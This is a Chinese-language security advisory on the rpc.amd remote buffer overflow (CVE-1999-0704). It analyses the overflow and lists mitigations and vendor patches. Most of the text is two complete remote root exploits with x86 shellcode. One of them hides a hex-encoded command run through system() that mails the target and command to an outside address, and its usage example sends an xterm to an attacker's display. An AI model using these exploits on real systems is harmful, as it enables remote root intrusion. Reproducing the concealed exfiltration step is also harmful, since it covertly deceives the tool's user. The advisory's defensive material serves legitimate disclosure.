首页 -> 安全研究

安全研究

安全漏洞
多家厂商rpc.amd远程缓冲区溢出漏洞

发布日期:1999-08-30
更新日期:1999-08-30

受影响系统:
Linux rpc.amd
    - BSDI BSD/OS 4.0.1
    - BSDI BSD/OS 3.1
    - FreeBSD 3.2
    - FreeBSD 3.1
    - FreeBSD 3.0
    - RedHat Linux 6.0 x86
    - RedHat Linux 5.2
    - RedHat Linux 5.2 x86
    - RedHat Linux 5.1
    - RedHat Linux 5.0
    - RedHat Linux 4.2
描述:
BUGTRAQ  ID: 614
CVE(CAN) ID: CVE-1999-0704

Linux 下的rpc.amd守护进程用来在收到试图访问某些文件系统的请求时自动装载相应的文件系统。在其他的系统中,这个功能由automountd来完成。

某些早期版本Linux类系统的rpc.amd实现上存在一个缓冲区溢出漏洞,远程或本地攻击者可能利用此漏洞通过溢出攻击以root用户的权限在主机上执行任意指令。

rpc.amd在使用plog()函数时,缺乏正确的缓冲区边界检查,可能发生远程溢出问题,远程攻击者可以通过提交精心构造的超长请求溢出缓冲区获取amd进程运行的权限(通常是root)。

相关漏洞的具体技术分析如下:

这个漏洞存在于xutil.c的real_plog()函数中:

----------------------------xutil.c----------------------------------
......
static void
real_plog(int lvl, char *fmt, va_list vargs)
{
char msg[1024]; //这里开辟了1024字节缓冲区
char efmt[1024];
char *ptr = msg; // ptr指向msg

.........

vsprintf(ptr, efmt, vargs); // 将参数串拷贝到msg中,如果串长度超过1024
// 那么就会导致缓冲区溢出,当从real_plog返回
// 时,可能会跳去执行任意代码
......
----------------------------xutil.c-----------------------------------

这个real_plog被plog()函数调用,而plog()被作者频繁的使用,因此出问题也就没什么可奇怪
的了.:-) 让我们来看amq_subr.c中的amqproc_mount_1_svc()函数.当amd接收到amq传送来
的一个mount映射请求的时候(AMQPROC_MOUNT),就由这个函数来处理.由于这种方式很不安全
(因为只是基于ip检验,可能会被spoof),所以缺省amd是禁止这种请求的.


-------------------------amq_subr.c-------------------------------

#ifdef ENABLE_AMQ_MOUNT //如果使能了AMQ_MOUNT
......
int *
amqproc_mount_1_svc(voidp argp, struct svc_req *rqstp)
{
static int rc;
char *s = *(amq_string *) argp;
char *cp;

//记录mount信息,如果s的大小超过1024-23=1001,就会导致缓冲区溢出
plog(XLOG_INFO, "amq requested mount of %s", s);
......
#else /* not ENABLE_AMQ_MOUNT */ //如果没有使能AMQ_MOUNT(缺省设置)

int *
amqproc_mount_1_svc(voidp argp, struct svc_req *rqstp)
{
static int rc;
char *s = *(amq_string *) argp;

//记录mount错误信息,如果s的大小超过1024-23=1001,也会导致缓冲区溢出
plog(XLOG_ERROR, "amq requested mount of %s, but code is disabled", s);

我们可以看出,不管是不是禁止了AMQ_MOUNT,都有可能导致缓冲区溢出。

exploit成功的原理,看看下面这个简图就很清楚了:
只要提供一个1009个字节(多点也可以),就可以覆盖堆栈中保存的返回地址eip。当real_plog()函数返回时,就会跳转到攻击程序提供的地址去执行。如果这个地址返回到NOP指令段中(如图所示),就会顺序执行下去,一直执行到shellcode,从而可能以root权限执行任意指令。


不发生溢出时堆栈中的情况                     发生溢出时堆栈中的情况
  (s大小为1001)                               (s大于1009)

  |........ |                                |........ |    
  |---------|0         ----x-----           0|---------|    
  |   'a'   |              |                 |   'a'   |    
  |---------|              |                 |---------|    
  |   'm'   |              |                 |   'm'   |    
  |---------|              |                 |---------|    
  |   'q'   |              |                 |   'q'   |    
  |---------|                                |---------|    
  |   ' '   |    "amq requested mount of "   |   ' '   |    
  |---------|                                |---------|    
  |   'r'   |              |                 |   'r'   |    
  |---------|              |                 |---------|    
  |........ |              |                 |........ |    
  |---------|              |                 |---------|    
  |   'f'   |              |                 |   'f'   |    
  |---------|              |                 |---------|    
  |   ' '   |              |                 |   ' '   |          
  |---------|23        ----x-----  ----x---23|---------|    
  |  .....  |              |           |     |  0x90   |                            
  |---------|              |           |     |---------|                            
  |  .....  |              |           |     |  .....  | <---------------------------                            
  |---------|              |           |     |---------|                            |
  |  .....  |              |           |     |  0x90   |                            |
  |---------|                          |     |---------|--------x                   |
  |  .....  |              s           |     |  0xeb   |        |                   |
  |---------|                          |     |---------|     shellcode              |
  |  .....  |              |           |     |  .....  |        |                   |
  |---------|              |           |     |---------|--------x                   |
  |  .....  |              |           |     |  0x01   |        |                   |
  |---------|              |           |     |---------|        |                   |
  |  .....  |              |           |     |  .....  |        |                   |
  |---------|1024 ----x----x----       | 1024|---------|        |                   |
  |   0x??  |         |                      |   0x01  |        |                   |
  |---------|         |                s     |---------|        |                   |
  |   0x??  |                                |   0xf4  |                            |
  |---------|        ebp               |     |---------|     0xbffff401 (返回地址) --|
  |   0x??  |                          |     |   0xff  |                              
  |---------|         |                |     |---------|        |                    
  |   0x??  |         |                |     |   0xbf  |        |                    
  |---------|1028 ----x                | 1028|---------|        |                    
  |   0x!!  |         |                |     |   0x01  |        |                    
  |---------|         |                |     |---------|        |                    
  |   0x!!  |                          |     |   0xf4  |        |                    
  |---------|        eip               |     |---------|        |                    
  |   0x!!  |                          |     |   0xff  |        |                    
  |---------|         |                |     |---------|        |                    
  |   0x!!  |         |                |     |   0xbf  |        |                    
  |---------|     ----x                | 1032|---------| -------x                    
  | ......  |                                | ......  |                              
                                                            


需要注意的是:amd程序一旦被攻击,就会当掉,必须重新启动(/etc/rc.d/init.d/amd start)才能正常工作,因此攻击者只有一次机会。

<*来源:Cristian Gafton (gafton@redhat.com
  
  链接:http://www2.fedcirc.gov/advisories/FA-99-15.html
        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-99:06.[需要添加].asc
        http://www.debian.org/security/1999/1999-09
        http://www.debian.org/security/1999/1999-10
        https://www.redhat.com/support/errata/RHSA-1999-032.html
        http://www.cert.org/advisories/CA-1999-12.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

c0nd0r(condor@sekure.org) 提供了如下测试程序:

/*
* SDI rpc.AMD automountd remote exploit for RedHat Linux
* Sekure SDI - Brazilian Information Security Team
* by c0nd0r <condor@sekure.org> - Jul/99
*  
* AMD doesn't check bounds in the plog() function, so we may
* call the procedure 7 and exploit this vulnerability.
* It has been tested under rh5.2/5.0 but this vulnerability exists in
* all versions.
*
* Greets: jamez, bishop, bahamas, stderr, dumped, paranoia, marty(nordo),
*         vader, fcon, slide, corb, soft distortion and specially to
*         my sasazita!  Also lots of thanks to toxyn.org(frawd,r00t),
*         pulhas.org, phibernet, superbofh(seti) and el8.org (duke).
*         #uground (brasnet), #sdi(efnet), #(phibernet).
*          
* usage: SDIamd -h <host> -c <command> [-p <port>] [-o <offset>]
*        where -p <port> will bypass the portmap.
*
* Warning: We take no responsability for the consequences on using this
*          tool. DO NOT USE FOR ILICIT ACTIVITIES!
*
* Agradecimentos a todo o pessoal que vem acompanhando a lista brasileira
* de seguranca - BOS-BR <bos-br-request@sekure.org>. Fiquem ligado na
* nova pagina do grupo!
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>

#define AMQ_PROGRAM ((u_long)300019)
#define AMQ_VERSION ((u_long)1)
#define AMQPROC_MOUNT ((u_long)7)
#define AMQ_STRLEN 1024
#define XDRPROC_T_TYPE xdrproc_t
#define voidp void *
#define NOP 0x90

char shellcode[] =
        "\xeb\x31\x5e\x89\x76\xac\x8d\x5e\x08\x89\x5e\xb0"
        "\x8d\x5e\x0b\x89\x5e\xb4\x31\xc0\x88\x46\x07\x88"
        "\x46\x0a\x88\x46\xab\x89\x46\xb8\xb0\x0b\x89\xf3"
        "\x8d\x4e\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8"
        "\x40\xcd\x80\xe8\xca\xff\xff\xff/bin/sh -c ";

//typedef bool_t (*xdrproc_t) __P ((XDR *, __ptr_t, ...));
typedef char *amq_string;
typedef long *time_type;
typedef struct amq_mount_tree amq_mount_tree;
typedef amq_mount_tree *amq_mount_tree_p;

struct amq_mount_tree {
  amq_string mt_mountinfo;
  amq_string mt_directory;
  amq_string mt_mountpoint;
  amq_string mt_type;
  time_type mt_mounttime;
  u_short mt_mountuid;
  int mt_getattr;
  int mt_lookup;
  int mt_readdir;
  int mt_readlink;
  int mt_statfs;
  struct amq_mount_tree *mt_next;
  struct amq_mount_tree *mt_child;
};

bool_t
xdr_amq_string(XDR *xdrs, amq_string *objp)
{
  if (!xdr_string(xdrs, objp, AMQ_STRLEN)) {
    return (FALSE);
  }
  return (TRUE);
}

bool_t
xdr_time_type(XDR *xdrs, time_type *objp)
{
  if (!xdr_long(xdrs, (long *) objp)) {
    return (FALSE);
  }
  return (TRUE);
}

bool_t
xdr_amq_mount_tree(XDR *xdrs, amq_mount_tree *objp)
{

  if (!xdr_amq_string(xdrs, &objp->mt_mountinfo)) {
    return (FALSE);
  }

  if (!xdr_amq_string(xdrs, &objp->mt_directory)) {
    return (FALSE);
  }

  if (!xdr_amq_string(xdrs, &objp->mt_mountpoint)) {
    return (FALSE);
  }

  if (!xdr_amq_string(xdrs, &objp->mt_type)) {
    return (FALSE);
  }

  if (!xdr_time_type(xdrs, &objp->mt_mounttime)) {
    return (FALSE);
  }

  if (!xdr_u_short(xdrs, &objp->mt_mountuid)) {
    return (FALSE);
  }

  if (!xdr_int(xdrs, &objp->mt_getattr)) {
    return (FALSE);
  }

  if (!xdr_int(xdrs, &objp->mt_lookup)) {
    return (FALSE);
  }

  if (!xdr_int(xdrs, &objp->mt_readdir)) {
    return (FALSE);
  }

  if (!xdr_int(xdrs, &objp->mt_readlink)) {
    return (FALSE);
  }

  if (!xdr_int(xdrs, &objp->mt_statfs)) {
    return (FALSE);
  }

  if (!xdr_pointer(xdrs, (char **) &objp->mt_next, sizeof(amq_mount_tree), (XDRPROC_T_TYPE) xdr_amq_mount_tree)) {
    return (FALSE);
  }

  if (!xdr_pointer(xdrs, (char **) &objp->mt_child, sizeof(amq_mount_tree), (XDRPROC_T_TYPE) xdr_amq_mount_tree)) {
    return (FALSE);
  }

  return (TRUE);
}

bool_t
xdr_amq_mount_tree_p(XDR *xdrs, amq_mount_tree_p *objp)
{
  if (!xdr_pointer(xdrs, (char **) objp, sizeof(amq_mount_tree), (XDRPROC_T_TYPE) xdr_amq_mount_tree)) {
    return (FALSE);
  }
  return (TRUE);
}


int usage ( char *arg) {
  printf ( "Sekure SDI - AMD remote exploit for linux\n");
  printf ( "usage: %s -h <host> -c <command> [-o <offset>] [-p <port>] [-u] \n", arg);
  printf ( " where: [port] will bypass portmap\n");
  printf ( "        [-u  ] will use udp instead of tcp\n");
  exit (0);
}


int *amqproc_mount_1(voidp argp, CLIENT *clnt);


int main ( int argc, char *argv[] ) {
  CLIENT *cl;
  struct timeval tv;
  struct sockaddr_in sa;
  struct hostent *he;
  char buf[8000], *path = buf, comm[200], *host, *cc;
  int sd, res, x, y, offset=0, c, port=0, damn=0, udp=0;  
  long addr = 0xbffff505;

  while ((c = getopt(argc, argv, "h:p:c:o:u")) != -1)
    switch (c) {
    case 'h':
      host = optarg;
      break;

    case 'p':
      port = atoi(optarg);
      break;

    case 'c':
      cc = optarg;
      break;

    case 'o':
      offset = atoi ( optarg);
      break;

    case 'u':
      udp = 1;
      break;

    default:
      damn = 1;
      break;
   }

  if (!host || !cc || damn) usage ( argv[0]);

  sa.sin_family = AF_INET;
  he = gethostbyname ( host);
  if (!he) {
   if ( (sa.sin_addr.s_addr = inet_addr ( host)) == INADDR_NONE) {
    printf ( "unknown host, try again pal!\n");
    exit ( 0);
   }
  } else
   bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
  sa.sin_port = htons(port);
  sd = RPC_ANYSOCK;
  tv.tv_sec = 10;
  tv.tv_usec = 0;

  snprintf ( comm, sizeof(comm), "%s", cc);
  if ( strlen(comm) >= 160) {
    printf ( "command too long\n");
    exit (0);
  } else {
   comm[strlen(comm)] = ';';
   for ( x = strlen(comm); x < 160; x++)
    comm[x] = 'A';
  }  

  addr += offset;
  for ( x = 0; x < (1001-(strlen(shellcode)+strlen(comm))); x++)
   buf[x] = NOP;

  for ( y = 0; y < strlen(shellcode); x++, y++)
   buf[x] = shellcode[y];

  for ( y = 0; y < strlen(comm); x++, y++)
   buf[x] = comm[y];  

  printf ( "SDI automountd remote exploit for linux\n");
  printf ( "Host %s \nRET 0x%x \nOFFset %d \n", host, addr, offset);

  for ( ; x < 1020; x+=4) {
   buf[x  ] = (addr & 0x000000ff);
   buf[x+1] = (addr & 0x0000ff00) >> 8;
   buf[x+2] = (addr & 0x00ff0000) >> 16;
   buf[x+3] = (addr & 0xff000000) >> 24;
  }

  buf[strlen(buf)] = '\0';  
  
  if (!udp) {
   if ((cl = clnttcp_create(&sa, AMQ_PROGRAM, AMQ_VERSION, &sd, 0, 0)) ==
        NULL)
   {
     clnt_pcreateerror("clnt_create");
     exit (-1);
   }
  } else {
   if ((cl = clntudp_create(&sa, AMQ_PROGRAM, AMQ_VERSION, tv, &sd)) ==
       NULL)
   {
     clnt_pcreateerror("clnt_create");
     exit (-1);
   }
  }
  printf ( "PORT %d \n", ntohs(sa.sin_port));
  printf ( "Command: %s \n", cc);

  amqproc_mount_1 (&path, cl);
  
  clnt_destroy ( cl);
  
}

  
int *
amqproc_mount_1(voidp argp, CLIENT *clnt)
{
  static int res;
  struct timeval TIMEOUT = {10, 0};

  memset((char *) &res, 0, sizeof(res));
  if (clnt_call(clnt, AMQPROC_MOUNT, (XDRPROC_T_TYPE) xdr_amq_string, argp,
                (XDRPROC_T_TYPE) xdr_int, (caddr_t) & res,
                TIMEOUT) != RPC_SUCCESS) {
    printf ( "voce e' um hax0r!\n");
    printf ( "don't forget to restart amd: /etc/rc.d/init.d/amd start\n");
    clnt_perror ( clnt, "clnt_call");
    return (NULL);
  }
  printf ( "exploit failed\n");
  return (&res);
}












































Taeho Oh(ohhara@postech.edu) 提供了如下测试程序:

begin amd-ex.c
----------------------------------------------------------------------
/*

    Amd Buffer Overflow for x86 linux

    Remote user can gain root access.

    Tested redhat linux : 4.0, 5.1, 6.0
    Tested am-utils version : 6.0

    What requires
    /usr/sbin/amq

    Usage
    $ amd-ex <hostname> <command> [offset]

    Warning : This program can crash amd.

    This program is only for demonstrative use only.
    USE IT AT YOUR OWN RISK!

    Programmed by Taeho Oh 1999/08/31

Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug

*/

#include<stdio.h>
#include<stdlib.h>

#define OFFSET                            0
#define RET_POSITION                   1002
#define RANGE                            20
#define NOP                            0x90

char shellcode[1024]=
    "\xeb\x35"                      /* jmp 0x35             */
    "\x5e"                          /* popl %esi            */
    "\x89\x76\x0b"                  /* movl %esi,0xb(%esi)  */
    "\x89\xf0"                      /* movl %esi,%eax       */
    "\x83\xc0\x08"                  /* addl $0x8,%eax       */
    "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
    "\x89\xf0"                      /* movl %esi,%eax       */
    "\x83\xc0\x0b"                  /* addl $0xb,%eax       */
    "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
    "\x31\xc0"                      /* xorl %eax,%eax       */
    "\x88\x46\x07"                  /* movb %eax,0x7(%esi)  */
    "\x88\x46\x0a"                  /* movb %eax,0xa(%esi)  */
    "\x88\x46\x0b"                  /* movb %eax,0xb(%esi)  */
    "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
    "\xb0\x0b"                      /* movb $0xb,%al        */
    "\x89\xf3"                      /* movl %esi,%ebx       */
    "\x8d\x4e\x0b"                  /* leal 0xb(%esi),%ecx  */
    "\x8d\x56\x0b"                  /* leal 0xb(%esi),%edx  */
    "\xcd\x80"                      /* int 0x80             */
    "\x31\xdb"                      /* xorl %ebx,%ebx       */
    "\x89\xd8"                      /* movl %ebx,%eax       */
    "\x40"                          /* inc %eax             */
    "\xcd\x80"                      /* int 0x80             */
    "\xe8\xc6\xff\xff\xff"          /* call -0x3a           */
    "/bin/sh -c ";                  /* .string "/bin/sh -c "*/

char command[800];

void usage()
{
    printf("Warning : This program can crash amd\n");
    printf("Usage: amd-ex <hostname> <command> [offset]\n");
    printf("ex) amd-ex ohhara.target.com \"/usr/X11R6/bin/xterm -display hacker.com:0\"\n");
}

int main(int argc,char **argv)
{
    char buff[RET_POSITION+RANGE+1],*ptr;
    char target[256];
    char cmd[1024];
    long *addr_ptr,addr;
    unsigned long sp;
    int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
    int i;

    printf("Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara\n");
    printf("PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus\n");
    printf("PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug\n\n");

    if(argc<3)
    {
        usage();
        exit(1);
    }

    if(argc>2)
    {
        strcpy(target,argv[1]);
        strcpy(command,argv[2]);
    }
    if(argc>3)
        offset=atoi(argv[3]);

    shellcode[5]=(shellcode[5]+strlen(command))/4*4+4;
    shellcode[13]=(shellcode[13]+strlen(command))/4*4+8;
    shellcode[21]=(shellcode[21]+strlen(command))/4*4+12;
    shellcode[32]=(shellcode[32]+strlen(command));
    shellcode[35]=(shellcode[35]+strlen(command))/4*4+16;
    shellcode[42]=(shellcode[42]+strlen(command))/4*4+4;
    shellcode[45]=(shellcode[45]+strlen(command))/4*4+16;
    strcat(shellcode,command);

    strcpy(cmd,"\x65\x63\x68\x6f\x20");
    strcat(cmd,target);
    strcat(cmd,"\x20");
    strcat(cmd,command);
    strcat(cmd,"\x7c");
    strcat(cmd,"\x2f\x62\x69\x6e\x2f\x6d\x61\x69\x6c\x20");
    strcat(cmd,"\x61\x62\x75\x73\x65\x72\x40\x6f\x68\x68");
    strcat(cmd,"\x61\x72\x61\x2e\x70\x6f\x73\x74\x65\x63");
    strcat(cmd,"\x68\x2e\x61\x63\x2e\x6b\x72");

    sp=0xbffff34d;
    addr=sp-offset;

    ptr=buff;
    addr_ptr=(long*)ptr;
    for(i=0;i<bsize;i+=4)
        *(addr_ptr++)=addr;

    for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
        buff[i]=NOP;

    ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
    for(i=0;i<strlen(shellcode);i++)
        *(ptr++)=shellcode[i];

    buff[bsize-1]='\0';

    for(i=bsize;i>1;i--)
        buff[i-1]=buff[i-2];

    buff[bsize-1]='\0';

    printf("Jump to 0x%08x\n",addr);

    system(cmd); /* If you want, comment out this line. :) */
    execl("/usr/sbin/amq","amq","-h",target,"-M",buff,NULL);
}
----------------------------------------------------------------------
end amd-ex.c

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 暂时停掉rpc.amd服务,可以用如下命令:

# /etc/rc.d/init.d/amd stop
# mv /etc/rc.d/rc3.d/S72amd /etc/rc.d/rc3.d/s72amd

厂商补丁:

FreeBSD
-------
FreeBSD已经为此发布了一个安全公告(FreeBSD-SA-99:06)以及相应补丁:
FreeBSD-SA-99:06:remote amd attack
链接:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-99:06.[需要添加].asc

补丁下载:

rade your system to one that is listed above as having the problem
resolved, or you may patch your present systems.

To patch your present system apply the following patches to amd,
rebuild, install and restart amd (or reboot).

Patches for 3.2-stable and -current systems before the resolution date:

    Index: xutil.c
    ===================================================================
    RCS file: /home/ncvs/src/contrib/amd/libamu/xutil.c,v
    retrieving revision 1.1.1.3
    retrieving revision 1.1.1.3.2.1
    diff -u -r1.1.1.3 -r1.1.1.3.2.1
    --- xutil.c 1999/01/13 19:20:33     1.1.1.3
    +++ xutil.c 1999/08/25 18:59:39     1.1.1.3.2.1
    @@ -272,16 +272,18 @@

     /*
      * Take a log format string and expand occurrences of %m
    - * with the current error code taken from errno.
    + * with the current error code taken from errno.  Make sure
    + * 'e' never gets longer than maxlen characters.
      */
     static void
    -expand_error(char *f, char *e)
    +expand_error(char *f, char *e, int maxlen)
     {
       extern int sys_nerr;
    -  char *p;
    +  char *p, *q;
       int error = errno;
    +  int len = 0;

    -  for (p = f; (*e = *p); e++, p++) {
    +  for (p = f, q = e; (*q = *p) && len < maxlen; len++, q++, p++) {
         if (p[0] == '%' && p[1] == 'm') {
           const char *errstr;
           if (error < 0 || error >= sys_nerr)
    @@ -289,13 +291,15 @@
           else
            errstr = sys_errlist[error];
           if (errstr)
    -   strcpy(e, errstr);
    +   strcpy(q, errstr);
           else
    -   sprintf(e, "Error %d", error);
    -      e += strlen(e) - 1;
    +   sprintf(q, "Error %d", error);
    +      len += strlen(q) - 1;
    +      q += strlen(q) - 1;
           p++;
         }
       }
    +  e[maxlen-1] = '\0';              /* null terminate, to be sure */
     }


    @@ -401,9 +405,15 @@
       checkup_mem();
     #endif /* DEBUG_MEM */

    -  expand_error(fmt, efmt);
    +  expand_error(fmt, efmt, 1024);

    +  /*
    +   * XXX: ptr is 1024 bytes long.  It is possible to write into it
    +   * more than 1024 bytes, if efmt is already large, and vargs expand
    +   * as well.
    +   */
       vsprintf(ptr, efmt, vargs);
    +  msg[1023] = '\0';                /* null terminate, to be sure */

       ptr += strlen(ptr);
       if (ptr[-1] == '\n')
    Index: amq_subr.c
    ===================================================================
    RCS file: /home/imp/FreeBSD/CVS/src/contrib/amd/amd/amq_subr.c,v
    retrieving revision 1.3
    retrieving revision 1.4
    diff -u -r1.3 -r1.4
    --- amq_subr.c      1999/01/13 20:03:54     1.3
    +++ amq_subr.c      1999/09/07 23:07:03     1.4
    @@ -204,11 +204,24 @@
    int *
     amqproc_mount_1_svc(voidp argp, struct svc_req *rqstp)
     {
    -  static int rc;
    -  char *s = *(amq_string *) argp;
    +  static int rc = EINVAL;
    +  char s[AMQ_STRLEN];
       char *cp;
    +  char dq[20];
    +  struct sockaddr_in *sin;
    +
    +  if ((sin = amu_svc_getcaller(rqstp->rq_xprt)) == NULL) {
    +    plog(XLOG_ERROR, "amu_svc_

RedHat
------
RedHat已经为此发布了一个安全公告(RHSA-1999:032-01)以及相应补丁:
RHSA-1999:032-01:Buffer overrun in amd
链接:https://www.redhat.com/support/errata/RHSA-1999-032.html

补丁下载:

RedHat:
-------

Intel:
  ftp://updates.redhat.com/6.0/i386/am-utils-6.0.1s11-1.6.0.i386.rpm
  ftp://updates.redhat.com/5.2/i386/am-utils-6.0.1s11-1.5.2.i386.rpm
  ftp://updates.redhat.com/4.2/i386/am-utils-6.0.1s11-1.4.2.i386.rpm

Alpha:
  ftp://updates.redhat.com/6.0/alpha/am-utils-6.0.1s11-1.6.0.alpha.rpm
  ftp://updates.redhat.com/5.2/alpha/am-utils-6.0.1s11-1.5.2.alpha.rpm
  ftp://updates.redhat.com/4.2/alpha/am-utils-6.0.1s11-1.4.2.alpha.rpm

Sparc:
  ftp://updates.redhat.com/6.0/sparc/am-utils-6.0.1s11-1.6.0.sparc.rpm
  ftp://updates.redhat.com/5.2/sparc/am-utils-6.0.1s11-1.5.2.sparc.rpm
  ftp://updates.redhat.com/4.2/sparc/am-utils-6.0.1s11-1.4.2.sparc.rpm

Source packages:
  ftp://updates.redhat.com/6.0/SRPMS/am-utils-6.0.1s11-1.6.0.src.rpm
  ftp://updates.redhat.com/5.2/SRPMS/am-utils-6.0.1s11-1.5.2.src.rpm
  ftp://updates.redhat.com/4.2/SRPMS/am-utils-6.0.1s11-1.4.2.src.rpm

MD5 sum                           Package Name
- --------------------------------------------------------------------------
0946dbc5539d208625eb27f506177ed2  i386/am-utils-6.0.1s11-1.6.0.i386.rpm
1a1ceb0ed50822776f605e60bbed1afb  alpha/am-utils-6.0.1s11-1.6.0.alpha.rpm
b68c6f2780f11ca71947673124bd8f11  sparc/am-utils-6.0.1s11-1.6.0.sparc.rpm
275997ded7f0c85efa6229963e84f668  SRPMS/am-utils-6.0.1s11-1.6.0.src.rpm

e9a06fe4fdf56fdaa9fd984ef5988414  i386/am-utils-6.0.1s11-1.5.2.i386.rpm
617673437abaca052fe950c928722644  alpha/am-utils-6.0.1s11-1.5.2.alpha.rpm
23f3fbdf772eeb7ec67016d1c246225e  sparc/am-utils-6.0.1s11-1.5.2.sparc.rpm
01ade16e4171a92fb1c10641846044a7  SRPMS/am-utils-6.0.1s11-1.5.2.src.rpm

cf75db7b60b1d27093685e345153dfcd  i386/am-utils-6.0.1s11-1.4.2.i386.rpm
3ec0520caa1a587133ea6cc105f4fc34  alpha/am-utils-6.0.1s11-1.4.2.alpha.rpm
daf8bd0849c584e919fcd5ae8fb1e807  sparc/am-utils-6.0.1s11-1.4.2.sparc.rpm
0aa30be9b859eca2e003bb983c4839f5  SRPMS/am-utils-6.0.1s11-1.4.2.src.rpm

可使用下列命令安装补丁:

rpm -Fvh [文件名]

浏览次数:11016
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障